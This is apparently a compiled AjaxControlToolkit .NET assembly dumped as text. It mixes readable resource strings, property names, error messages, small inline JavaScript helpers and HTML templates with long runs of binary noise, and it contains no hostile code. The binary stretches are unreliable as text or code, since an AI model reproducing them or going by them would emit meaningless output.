width:width:355px;styleonkeydownreturn false;onkeypressonmousedown355px��opacity:0.0; -moz-opacity: 0.0; filter: alpha(opacity=00); font-size:14px;#margin-top:-23px;	typeaheight:17px; font-size:12px; font-family:Tahoma;aheight:23px; font-size:12px; font-family:Tahoma;pxpx;width:248px;3background-color:#00FF00;3background-color:#FF0000;#background-color:hiddenFieldinnerTBinputFilepostBackUrlformName#completeBackColorerrorBackColor%uploadingBackColorthrobber#AsyncFileUploadID��The ExtendedFileUpload control has encountered an error with the uploader in this page. Please refresh the page and try again.Ib3b89160-3224-476e-9076-70b500c816cfINo files are attached to the upload.;The file attached is invalid.UThe file attached has an invalid filename.IThe file attached could not be read.7The file attached is empty.?The file uploaded successfully.HeaderTextScrollBarsOnClientClick	_tabajax__tab_outerajax__tab_innerajax__tab_tab
__tab_ajax__tab_panelheaderTabownerownerIDHTML_!ArgReplaceString!ArgSuccessStringArgErrorString!ArgContextString!CallbackCssStyle#DropLayoutElementPostbackCode
handleOAjaxControlToolkit.Properties.Resources#E_NoScriptManager+E_SciptPathNotAllowed$$CANCEL$$/_PopupControl_Proxy_ID_#ExtenderControlIDCommitPropertyCommitScript_NoBotLabel_NoBotExtender	~{0}3NoBot_ResponseTimeKey_{0}/NoBot_SessionKeyKey_{0}1NoBot_SessionKey_{0}_{1}ed_previewed_pasteText#ed_color_fg_clearrinstancedescriptor��ExtenderControlEventAttribute can only be applied to a property with a PropertyType of System.String._callbackTarget�This page is missing a HtmlHead control which is required for the CSS stylesheet link that is being added. Please add <head runat="server" />.text/cssrelstylesheet+RegisterCssReferences��if (window.__AjaxControlToolkitControlCssLoaded == null || typeof window.__AjaxControlToolkitControlCssLoaded == 'undefined') {    window.__AjaxControlToolkitControlCssLoaded = new Array();}var controlCssLoaded = window.__AjaxControlToolkitControlCssLoaded; var head = document.getElementsByTagName('HEAD')[0];if (head && !Array.contains(controlCssLoaded,'�')) {var linkElement = document.createElement('link');linkElement.type = 'text/css';linkElement.rel = 'stylesheet';linkElement.href = 'o';head.appendChild(linkElement);controlCssLoaded.push('	');}	argsstate:
resulterror9Circular reference detected.
Formatd!TodaysDateFormatMMMM d, yyyy'DaysModeTitleFormatMMMM, yyyyClearTimeEnabledOnClientAnimatedFirstDayOfWeekPopupButtonIDSelectedDateDefaultView9OnClientDateSelectionChangeded_format_subed_align_rightAajax__htmleditor_popup_bgibuttonOpacityTrackPositionRounded
RadiusYHeight must be set in pixels only, or Empty.1OnClientActiveTabChangedaTabContainer cannot have children of type '{0}'.ajax__tab_xpTabState_body!activeTabChangedCurrentRatingYCurrentRating must be greater than MaxRatingGMaxRating must be greater than zero_RatingExtender	href%javascript:void(0))text-decoration:none_Atitle
_Star_float	left iAjaxControlToolkit.MaskedEdit.MaskedEditValidator.jsIsMaskedEditValidEmptyMaximumValueMinimumValueInitialValue)ValidationExpression1ClientValidationFunctionTargetValidator#EmptyValueMessageEmptyValueText'MaximumValueMessage!MaximumValueText'MinimumValueMessage!MinimumValueText'InvalidValueMessage!InvalidValueText)InvalidValueCssClassCssBlurNegativeCssFocus!CssFocusNegativeTooltipMessage#FirstMaskPosition%evaluationfunction/MaskedEditValidatorNone!LastMaskPositionMoneyDecimalThousands3MaskedEditValidatorNumberDateSeparatorDateFormatTimeSeparatorAmPmSymbol7MaskedEditValidatorDateTime/MaskedEditValidatorDate/MaskedEditValidatorTime-MaskedEditSetCssClass(,'');5MaskedEditServerValidator_ed_pasteWord!ed_format_italiced_indent_lessDragHandleIDcontrol/Control cannot be null!q(function() { var fn = function() { var control = $get('��'); if (control && control.focus) { control.focus(); } Sys.Application.remove_load(fn);};Sys.Application.add_load(fn);})();_SetFocusOnLoadSampleControlIDSelectedColor;OnClientColorSelectionChangeded_format_rtled_pasteed_format_ltrAlwaysVisible\
button-SlideShowServiceMethod)SlideShowServicePathNextButtonIDPlayButtonIDPlayButtonTextStopButtonTextPlayInterval#ImageTitleLabelID/ImageDescriptionLabelID!PreviousButtonID	LoopAutoPlayCornersColorBorderColored_undo'ed_format_underline!ed_align_justifyed_rulecolorDivmethodButton#FFFF00ed_backcolored_design3ClearContentsDuringUpdate1PopulateTriggerControlIDmServiceMethod can not be set if a CustomScript is set.UpdatingCssCustomScriptmCustomScript can not be set if a ServiceMethod is set.UCustomScript or ServiceMethod must be set.#ClearHiddenOnLoad�(function() {{var fn = function() {{$get('{0}').value = '';Sys.Application.remove_init(fn);}};Sys.Application.add_init(fn);}})();\''{0}?{1}={2}&{3}={4}#_TSM_HiddenField_+_TSM_CombinedScripts_1application/x-javascriptAccept-Encoding	GZIP!Content-encoding	gzipDEFLATEdeflate��if(typeof(Sys)!=='undefined')Sys.Application.notifyScriptLoaded();�(function() {{var fn = function() {{$get('{0}').value += '{1}';Sys.Application.remove_load(fn);}};Sys.Application.add_load(fn);}})();wCombined script request includes uncombinable script "{0}".//START ��ToolkitScriptManager does not support <%= WebResource/ScriptResource(...) %> substitution as used by script file "{0}".
{0}={{.resources"{0}":"{1}"};
//END x}Assembly "{0}" contains multiple scripts with hash code "{1}".}Assembly "{0}" does not contain a script with hash code "{1}"._HiddenField\\\b\t\n\f\r\"\u
{0:x4}��<%\s*=\s*(?<resourceType>WebResource|ScriptResource)\("(?<resourceName>[^"]*)"\)\s*%>mTabPanelCollection can only contain TabPanel controls.StartRatingInitial RatingMaximum RatingRealOnlyRead-onlyAlignmentSwitch AlignDirection!Switch DirectionRatingAlign9L$CAN?9{0123456789FilterTypeFilterModeValidCharsInvalidCharsFilterInterval��If FilterTypes.Custom is specified, please provide a value for ValidChars or InvalidChars%_AccordionExtender��Can't bind to value that is not an IListSource or an IEnumerable.DataSourceIDDataMember_!ItemCount	autoaDataSource '{1}' for control '{0}' doesn't exist['{1}' is not a data source for control '{0}'.uDataSourceID and DataSource can't be set at the same time.UDataSourceView not found for control '{0}'{0}_Pane_{1}9Invalid data property change_DZI Files (*.dzi)|*.dzi|XML Files (*.xml)|*.xml#ResizableCssClassHandleOffsetXHandleOffsetYMinimumWidthMinimumHeightMaximumWidthMaximumHeight!OnClientResizing'OnClientResizeBegincMaximum width must not be less than minimum widthgMaximum height must not be less than minimum height{0},{1}!ed_format_strikeed_removealigned_list_num
writerFireFoxMozilla-moz-inline-box	nodeextenderControl<Animations></Animations>wInvalid Animation definition for TargetControlID="{0}": {1}��Animation on TargetControlID="{0}" uses property {1}.{2} that does not exist or cannot be set��Animation {0} for TargetControlID="{1}" can only have one child node.MComponent must be an Accordion controlcomponent
<span>#<div class="{0}">
</div></span>blockAllowReorder!BoundFieldValues	_rblDataKeyNameDataKeysArray'DragHandleAlignmentEditItemIndex#PostBackOnReorderSortOrderField?WebUtilControls.DragDropList.jsShowInsertItem{0}_{1}_~Arg~_'_~Arg~_'_~Success~_'_~Context~_'_~Error~__~Context~__dItemEx__drop{1}{0}__dih{0}Unknown valueitemType3{0} >= {1} AND {0} <= {2}	 ASC%Failed to reorder.5Couldn't find sort field '!' in bound data.visibility	_dat1px solid black
Update
INSERT
UPDATE	EDIT
DELETE
CANCEL��Can't reorder data source.  It is not a DataSource and does not implement IList.reorder	70px#FF0000ed_forecolorOKM ajax__htmleditor_popup_confirmbutton 
CancelK ajax__htmleditor_popup_confirmbuttonhoverDelayHoverScriptUnhoverDelayUnhoverScript��EnvDTE, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a��EnvDTE80, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a��VsWebSite.Interop, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a%EnvDTE.vsCMElement�Failed to load type 'EnvDTE.vsCMElement' from assembly 'EnvDTE, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.#EnvDTE.vsCMAccess�Failed to load type 'EnvDTE.vsCMAccess' from assembly 'EnvDTE, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.'EnvDTE.vsCMFunction�	Failed to load type 'EnvDTE.vsCMFunction' from assembly 'EnvDTE, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.%EnvDTE.vsCMTypeRef�Failed to load type 'EnvDTE.vsCMTypeRef' from assembly 'EnvDTE, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.%EnvDTE.CodeTypeRef�Failed to load type 'EnvDTE.CodeTypeRef' from assembly 'EnvDTE, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.TypeKindElementTypeAsFullName	Rank'EnvDTE.CodeElements�	Failed to load type 'EnvDTE.CodeElements' from assembly 'EnvDTE, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.CountGetEnumerator/EnvDTE80.FileCodeModel2�Failed to load type 'EnvDTE80.FileCodeModel2' from assembly 'EnvDTE80, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.CodeElements+EnvDTE80.CodeElement2�Failed to load type 'EnvDTE80.CodeElement2' from assembly 'EnvDTE80, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.	NameFullName	KindIsCodeTypeChildren'EnvDTE80.CodeClass2�
Failed to load type 'EnvDTE80.CodeClass2' from assembly 'EnvDTE80, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.AddFunction-EnvDTE80.CodeFunction2�Failed to load type 'EnvDTE80.CodeFunction2' from assembly 'EnvDTE80, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.	TypeParameters
AccessIsSharedAttributesAddParameterAddAttribute/EnvDTE80.CodeParameter2�Failed to load type 'EnvDTE80.CodeParameter2' from assembly 'EnvDTE80, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'./EnvDTE80.CodeAttribute2�Failed to load type 'EnvDTE80.CodeAttribute2' from assembly 'EnvDTE80, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.EnvDTE80.DTE2�Failed to load type 'EnvDTE80.DTE2' from assembly 'EnvDTE80, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.ActiveDocumentUndoContext%EnvDTE.UndoContext�Failed to load type 'EnvDTE.UndoContext' from assembly 'EnvDTE, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.
IsOpen	OpenCloseEnvDTE.Document�Failed to load type 'EnvDTE.Document' from assembly 'EnvDTE, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.ProjectItem%EnvDTE.ProjectItem�Failed to load type 'EnvDTE.ProjectItem' from assembly 'EnvDTE, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.
ObjectFileCodeModel5VsWebSite.VSWebProjectItem�-Failed to load type 'VsWebSite.VSWebProjectItem' from assembly 'VsWebSite.Interop, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.	Load
Unload)AppendDataBoundItems-Append DataBound ItemsCase SensitiveDropDown Style#AutoComplete Mode%Property not founded_unformatfileUploadcontrolIdpostedFile~!~ParentElementIDPositioningModeReparentKeyShowInnerRailInnerRailStyle)EnableInnerRangeDragEnableRailClickIsReadOnly!EnableMouseWheelIncrement1MultiHandleSliderTargets)ShowHandleHoverStyle'ShowHandleDragStyle/HandleAnimationDurationOnClientLoad#OnClientDragStartOnClientDragOnClientDragEnd)OnClientValueChangeded_format_bold;ConfirmButtonExtenderOnSubmitnull;YUnable to find specified ModalPopupExtender.��ConfirmButton and the ModalPopupExtender specified by its DisplayModalPopupID must specify the same TargetControlID.��Specified ModalPopupExtender must set at least OkControlID and/or CancelControlID.��Specified ModalPopupExtender may not set OnOkScript or OnCancelScript.)_CBE_MPE_PlaceholderConfirmTextOnClientCancel'ConfirmOnFormSubmit'DisplayModalPopupIDPostBackScript{0}_header{0}_contentATextBoxWatermarkExtenderOnSubmitWatermarkText#WatermarkCssClassed_indent_moreed_copy_self2URL200px
Target105pxNew
_blankCurrent
Parent_parentTop	_topurl
targetdefaultTarget~QAjaxControlToolkit.HTMLEditor.Editor.cssQAjaxControlToolkit.ComboBox.ComboBox.cssk(<%=)\s*(WebResource\(")(?<resourceName>.+)\s*("\)%>)<style></style>v�G�b���$
q1�8V�6N5�?_�
:�z\V4���I������h�������d���q�Py�P���(���(������x���(���H���,��������������4��x���T���������`���$���l���lq�ly�l�����������T���,���������������H����������� ��   (���� ��   ��  �� ��  ��	 q��	 q�� ��((��(��	���	������    
 ��� ��
 ���� ��00((
(���(��
(�����l �l �l(�l �l  	 �l(
�����@ �@ ��   �� � �� �	 q���� �
 �
�� ��      (��(��
 �L�L �L�L �L� �X �X(�X	��@	����t� � �
 ��@
 ��� �t(�
(��@
(��� �! �!�<(�! �@ �@(�@�� �� ��(�� �! �% �% �) �) �L�L(�%(�)(�L�-�T��1�5�9�= �� � � �� �� �� �� �� ��   �A �E �E �- �T �1 �5 �9 �= �I� �(�(��(��(��((�A(�E(�-(�T(�(�1(�5(�9(�=�I�<ExtenderControlFeaturesPresent �M�M��    I �Q(�M(�U�| I�U�| �Y0�]	�]�a	����
���������U�!	���! �� �� ��������EA  E E�! E �
�
 �e �e) �e�e �i �� �m �
 �! �q) �q(E�� ��I �0 �0 �� ��(�0(���<a style='padding:2px;border-top:thin white inset;border-left:thin white inset; border-right:thin white inset;;' href='#'>{0}</a>{0}��<div style='float:left;padding:2px;color:{3}; background-color:{4};{5};height:1em;' {0}='{1}'>{2}</div>��<div style="padding:2px;width:{7};height:{8}">

        <div style='text-align:center;color:{0}; background-color:{1};border-left:thin white outset; border-right:thin white outset;height:1em;'>{2}</div>

        <div style='color:{3}; background-color:{4};border-left:thin white outset; border-right:thin white outset;height:1em;text-align:left;'>{5}</div>

                

  <div style='clear:both;text-align:left;border-left:thin white outset; border-bottom:thin white outset; border-right:thin white outset;background-color:{10};height:100%;' {9}='0'>{6}</div>

      

 </div>�4<div style='display:inline-block;padding:2px;'>

                    <div style='color:{0}; background-color:{1};border-left:thin white outset; border-right:thin white outset;'>{2}</div>

                    <div style="text-align:center;border-left:thin white outset; border-bottom:thin white outset; border-right:thin white outset;" {3}='0'>

        <a href='#'>Add New Tab</a></div>

                </div>#addtab �� �u �y �} �4 �y�4��
�4���} ��	�!��(���� �� �	 �(� 
 
(
 U ��	 ���� 
 ���� ���� �X	 �X������ �� �� �� ��(��(�� �� ��(��\AjaxControlToolkit.ExtenderBase.BaseScripts.js���� �� �� ��(�� ��������������	 q�!
 �������L ���!���L��	(q�!� � �P �P  �P �P �� �P �P �P    ��	 y�P(�P(�P(��� � �P(�PImageWidthImageHeight"UncheckedImageUrlCheckedImageUrl2DisabledUncheckedImageUrl.DisabledCheckedImageUrl&CheckedImageOverUrl*UncheckedImageOverUrl6UncheckedImageAlternateText2CheckedImageAlternateText:CheckedImageOverAlternateText>UncheckedImageOverAlternateText �� ��(�� �� ���������D �D ���� ���8	��<M �@ 
 ��< ��< �� M �
(��<(���< �D �<(�D(�< �� ��(���X	 �X �� ��(��_rli�� �� ��	 �l��  ��(���t�x�|������$WebUIValidation.js,ValidatorIncludeScript�"

var Page_ValidationActive = false;

if (typeof(ValidatorOnLoad) == "function") {

    ValidatorOnLoad();

}



function ValidatorOnSubmit() {

    if (Page_ValidationActive) {

        return ValidatorCommonOnSubmit();

    }

    else {

        return true;

    }

}

������]�����	���!	����]	]�} �} �}(�} �(� �� ��(�� �! �!��<table cellspacing=0 cellpadding=0 border=0 style="display:inline-block">

                <tr>

                    <td nowrap align=center valign=middle style="color:{0}; background-color:{1}; ">{2}</td>

                </tr>

                <tr>

                    <td style="vertical-align:top;" {3}='0'>{4}</td>

                </tr>

          </table>�f

                <table cellspacing=0 cellpadding=0 border=0 style="display:inline-block;border:outset white 1px;">

                <tr>

                    <td nowrap align=center valign=middle style="background-color:{6}; "><span style="font:messagebox;color:{5}"><b>{8}</b> - {7}</span></td>

                </tr>               

                <tr>                

                <td>

                  <table cellspacing=0 cellpadding=2 border=0 style="margin:2px;border:solid 1px buttonface">

                    <tr style="font:messagebox;background-color:lightblue;color:black">

                      <td style="border:solid 1px buttonshadow">

                        &nbsp;{0}&nbsp;&nbsp;&nbsp;

                      </td>

                    </tr>

                    <tr style="{1}" height=100%>

                      <td style="{2}">

                        <div style="width:100%;height:100%" {3}='0'>{4}</div>

                      </td>

                    </tr>

                  </table>

                </td>

              </tr></table>���� �\ �� �� �y ��(�
(�\(��(���

 �}�
���� ��TextCssClass"BarBorderCssClass(BarIndicatorCssClass*StrengthIndicatorTypeDisplayPositionPrefixText0TextStrengthDescriptionsStrengthStyles
;.PreferredPasswordLength0MinimumNumericCharacters.MinimumSymbolCharactersFRequiresUpperAndLowerCaseCharacters4MinimumLowerCaseCharacters4MinimumUpperCaseCharacters$HelpHandleCssClass$HelpHandlePosition"HelpStatusLabelID*CalculationWeightingsStrength:  �P �P �T �T(�P(�T �x �x �� �� �| �| �� �� �� ��(�x(��(�|(��(��	��h
 ��h
(��h�����!��	��h
 ��h
(��h	 ������(�$��	�I�\ �I�\  �( �( �$ �$ �� �� �\ ���I�\((�((�$(��(���0���� �� �� ��(���8	������������H� �L �L(�L�L�P�T
������ ������ 
	�I�� �I���I�����!���p���!�����!�����!������q���!
q���!
q������q�����p���p�!���!q���!���!���!���! �! ��	�p�p�t�� � � �X �X
 ��� ��� �� ��(�(�X
(���(���� p p p (p�������� �� �4 �4 �� �� �� ��(��(�4(�� �� ����(���� ��(���� ��(�� �0��� � � �� �� �� ��(�(�� ��
 ������	�I�	 �I�	 �� ���I�	(�� � �(��  ���� ���8	 �8
 �8	(�8�@
 �����!�X�T	 �T�� �T ��(�T(�� �8 �8(�8D�� D D �� ��(D(���� �� � ����	 ���  ���� ��*_TSM_CombinedScripts_"_TSM_HiddenField_�� �
 �
�
	����	���� ������������������(�
�!  �� �! �� �4(�4���\ �\ �l �l �l �l �l	 y�l(�l �����Y ��\9L$CAN?0123456789��� �� �� � �(��(� �!_!ItemCount	�I�\ �I�\�% �%�`�)�-u�1 �` � �- �) ���T�} u u �� �\�I�\(�`(�(�-�� �5 �5(�5U ��(U(�� ��
 ������ �!��	���L��
 ���L	 ���L�L�L�9!
(���L	(�� ��_~Arg~__~Context~__~Success~__~Error~_
 �I$
 �I
 �I ��	���`�<�� �= �� �A �� �� �� �� �� �� �� ���Q�Q�Q u �� �l��  �E
 u�) �=�l ]����  $ $	����   $�Q�=�Q $�Q�=�Q  U��
 ���I��	 �l���I$�I�I (�=(��(�A(��(��(��(��(���@ �!�!�!��	�����!��	������	������	���� �� �� ��(��(�� ��(�� ��(�� ������ �� �� �� ��(�� �� ��(��(�� ��(�� ��(����| �M ���������� � � �� �� ���� ��(���	 ��� � �(� �t �t
 ��� ���(�t
(��� ���8 WatermarkText"WatermarkCssClass�X ���Q �H(�H �U���� �T ����$��$RSA1�+���ȅF~�6t�ݒ��2�/�`k�`����7��_;�
�`R���R�JA���S�<��%�mm�r�H����{ȃԡ�^��B��8^�j�"� ^������c��GG�U��6��4�.AjaxControlToolkit.ExtenderBase.BaseScripts.js �� �i�!�� )�!��! ���������������
����������	 q
����h#AjaxControlToolkit.Seadragon.Viewer/AjaxControlToolkit.Seadragon.Seadragon.Utils.jsT	LoadOrderj#AjaxControlToolkit.Seadragon.Viewer1AjaxControlToolkit.Seadragon.Seadragon.Buttons.jsT	LoadOrderi#AjaxControlToolkit.Seadragon.Viewer0AjaxControlToolkit.Seadragon.Seadragon.Config.jsT	LoadOrderb#AjaxControlToolkit.Seadragon.Viewer)AjaxControlToolkit.Seadragon.Seadragon.jsT	LoadOrdero#AjaxControlToolkit.Seadragon.Viewer6AjaxControlToolkit.Seadragon.Seadragon.MouseTracker.jsT	LoadOrderh#AjaxControlToolkit.Seadragon.Viewer/AjaxControlToolkit.Seadragon.Seadragon.Point.jsT	LoadOrderj#AjaxControlToolkit.Seadragon.Viewer1AjaxControlToolkit.Seadragon.Seadragon.Strings.jsT	LoadOrderi#AjaxControlToolkit.Seadragon.Viewer0AjaxControlToolkit.Seadragon.Seadragon.Drawer.jsT	LoadOrderm#AjaxControlToolkit.Seadragon.Viewer4AjaxControlToolkit.Seadragon.Seadragon.TileSource.jsT	LoadOrderk#AjaxControlToolkit.Seadragon.Viewer2AjaxControlToolkit.Seadragon.Seadragon.DeepZoom.jsT	LoadOrder	g#AjaxControlToolkit.Seadragon.Viewer.AjaxControlToolkit.Seadragon.Seadragon.Rect.jsT	LoadOrder
n#AjaxControlToolkit.Seadragon.Viewer5AjaxControlToolkit.Seadragon.Seadragon.ImageLoader.jsT	LoadOrderk#AjaxControlToolkit.Seadragon.Viewer2AjaxControlToolkit.Seadragon.Seadragon.Profiler.jsT	LoadOrderi#AjaxControlToolkit.Seadragon.Viewer0AjaxControlToolkit.Seadragon.Seadragon.Spring.jsT	LoadOrder
k#AjaxControlToolkit.Seadragon.Viewer2AjaxControlToolkit.Seadragon.Seadragon.Viewport.jsT	LoadOrdern#AjaxControlToolkit.Seadragon.Viewer5AjaxControlToolkit.Seadragon.Seadragon.DisplayRect.jsT	LoadOrder=8AjaxControlToolkit.SeadragonDesigner, AjaxControlToolkit1,<{0}:Seadragon runat=server></{0}:Seadragon>



��������)�)�)  ( ��	�� � ����	�� ���� 	  (����
��	����	 �����	�������������	������������������ ���?
animationTimeshowNavigationControl?	blendTimealwaysBlendautoHideControlsimmediateRenderwrapHorizontalwrapVertical��L?minZoomDimension@maxZoomPixelRatiovisibilityRatio�@springStiffnessimageLoaderLimit�clickTimeThresholdclickDistThresholdzoomPerClick
zoomPerSeconddmaxImageCacheCount
minPixelRatio	0pen
errorignoreresizeanimationstartanimationend	animationmouseNavEnabled	 �!�!��%AjaxControlToolkit.SeadragonUrlEditoruSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a � � ���*AjaxControlToolkit.OverlayCollectionEditoruSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a �!�!�!����	����  ��������	�-�	�	���1.)Replaced by a call to ScriptObjectBuilder �	�%
 �����
���e
�
��}$Use GetPropertyValue<V> instead$Use SetPropertyValue<V> insteadid����WARNING: ProfileBindings are disabled for this Toolkit release pending technical issues.  We hope to re-enable this in an upcoming releaseytSystem.Web.UI.WebControls.HiddenField, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
Animations    �� q�L yy�L�����Ly�L���System.ComponentModel.Design.MultilineStringEditor, System.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a~ySystem.ComponentModel.MultilineStringConverter, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089/*AjaxControlToolkit.DynamicPopulateExtenderdynamicControlIDxsSystem.Web.UI.WebControls.WebControl, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
BehaviordynamicContextKeydynamicServicePath,'AjaxControlToolkit.ServicePathConverterdynamicServiceMethodcacheDynamicResults>9AjaxControlToolkit.ModalPopupDesigner, AjaxControlToolkit^%AjaxControlToolkit.ModalPopupBehavior3AjaxControlToolkit.ModalPopup.ModalPopupBehavior.js,'AjaxControlToolkit.CommonToolkitScripts)$AjaxControlToolkit.DragPanelExtender*%AjaxControlToolkit.DropShadowExtenderidSystem.Web.UI.Control, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a��|System.Web.UI.Design.WebControlToolboxItem, System.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aD%AjaxControlToolkit.ModalPopupExtenderModalPopup.ModalPopup.ico
�X� �����!��������The drag feature on modal popup will be automatically turned on if you specify the PopupDragHandleControlID property. Setting the Drag property is a noop5U+AjaxControlToolkit.ModalPopupRepositionModerepositionMode{8AjaxControlToolkit.HTMLEditor.ToolbarButton.CommonButton=AjaxControlToolkit.HTMLEditor.Toolbar_buttons.CommonButton.js �q��@���  �- �!
preservePlace$ajax__htmleditor_toolbar_buttonactiveModesIdsy7AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton<AjaxControlToolkit.HTMLEditor.Toolbar_buttons.ImageButton.js�!�<���! �� �!� ��
Appearance	normalSrc
hoverSrcdownSrc	activeSrc��AAjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButtonFAjaxControlToolkit.HTMLEditor.Toolbar_buttons.DesignModeImageButton.js{8AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton=AjaxControlToolkit.HTMLEditor.Toolbar_buttons.MethodButton.jsk0AjaxControlToolkit.HTMLEditor.ToolbarButton.Redo5AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Redo.js��>AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButtonCAjaxControlToolkit.HTMLEditor.Toolbar_buttons.EditorToggleButton.jsy7AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyLeft<AjaxControlToolkit.HTMLEditor.Toolbar_buttons.JustifyLeft.js(#AjaxControlToolkit.HTMLEditor.Enumsw6AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton;AjaxControlToolkit.HTMLEditor.Toolbar_buttons.ModeButton.js6U,AjaxControlToolkit.HTMLEditor.ActiveModeType
activeModes4AjaxControlToolkit.HTMLEditor.ToolbarButton.HtmlMode9AjaxControlToolkit.HTMLEditor.Toolbar_buttons.HtmlMode.js��FAjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButtonKAjaxControlToolkit.HTMLEditor.Toolbar_buttons.DesignModePopupImageButton.js��y7AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton<AjaxControlToolkit.HTMLEditor.Toolbar_buttons.ColorButton.jsu5AjaxControlToolkit.HTMLEditor.ToolbarButton.ForeColor:AjaxControlToolkit.HTMLEditor.Toolbar_buttons.ForeColor.jsi/AjaxControlToolkit.HTMLEditor.ToolbarButton.Cut4AjaxControlToolkit.HTMLEditor.Toolbar_buttons.Cut.js{8AjaxControlToolkit.HTMLEditor.ToolbarButton.BulletedList=AjaxControlToolkit.HTMLEditor.Toolbar_buttons.BulletedList.js ��T
AllowMultiple  % AjaxControlToolkit.PopupExtender% AjaxControlToolkit.HoverExtender)$AjaxControlToolkit.AnimationExtender-(AjaxControlToolkit.DropDown.DropDown.cssX#AjaxControlToolkit.DropDownBehavior/AjaxControlToolkit.DropDown.DropDownBehavior.js<7AjaxControlToolkit.DropDownDesigner, AjaxControlToolkit>#AjaxControlToolkit.DropDownExtenderDropDown.DropDown.ico�%�)dropDownControlmgSystem.Drawing.Color, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3ahighlightBorderColorhighlightBackgroundColordropArrowBackgroundColordropArrowImageUrlsmSystem.Web.UI.WebControls.Unit, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3adropArrowWidth
popup
populating	populatedonShow�onHideSelectedItem(#AjaxControlToolkit.ComboBoxDesigner ��	����System.Web.UI.Design.WebControls.ListControlDataBindingHandler, System.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aSelectedIndexChanged
SelectedValueItems1,<{0}:ComboBox runat="server"></{0}:ComboBox>=(AjaxControlToolkit.ComboBox.ComboBox.cssT	LoadOrderHAjaxControlToolkit.ComboBox'AjaxControlToolkit.ComboBox.ComboBox.js-$AjaxControlToolkit.ScriptControlBase) AjaxControlToolkit.PopupExtender0'AjaxControlToolkit.CommonToolkitScripts6AjaxControlToolkit.ComboBoxComboBox.ComboBox.ico ����.vSystem.Web.AspNetHostingPermissionAttribute, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089��TUrSystem.Web.AspNetHostingPermissionLevel, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Level� �� �� �� �9 �� �=0
| 1 �� �� �� �� ���� �-� �! �! 
�I� ��	������}��} ��Layout1%AjaxControlToolkit.ComboBoxRenderModeInlineHCWhether the ComboBox will render as a block or inline HTML element.. AjaxControlToolkit.ComboBoxStyleDropDownmhWhether the ComboBox requires typed text to match an item in the list or allows new items to be created.5+AjaxControlToolkit.ComboBoxAutoCompleteModeNoneytWhether the ComboBox auto-completes typing by suggesting an item in the list or appending matches as the user types.9-AjaxControlToolkit.ComboBoxItemInsertLocationAppende`Whether a new item will be appended, prepended, or inserted ordinally into the items collection.OJWhether the ComboBox auto-completes user typing on a case-sensitive basis.
caseSensitive
Style:5The CSS class to apply to a hovered item in the list.listItemHoverCssClass
selectedIndexautoPostBack�� �M	 �!�� �!
)�}�! �U I�� =�!�|�U�! �!
A�!))
��I����A��	Extenders?:AjaxControlToolkit.Design.ExtenderPropertiesTypeDescriptor�� �e m	 �!�!�
�!�
)�I!�
�e�!���I�!)) �

 = �	�Y�

� �!
��9�
�
����������
������
�]�a����������}��}���� ��������} ������������} �����
�������}��}�������}��}��A A���e �
�
�
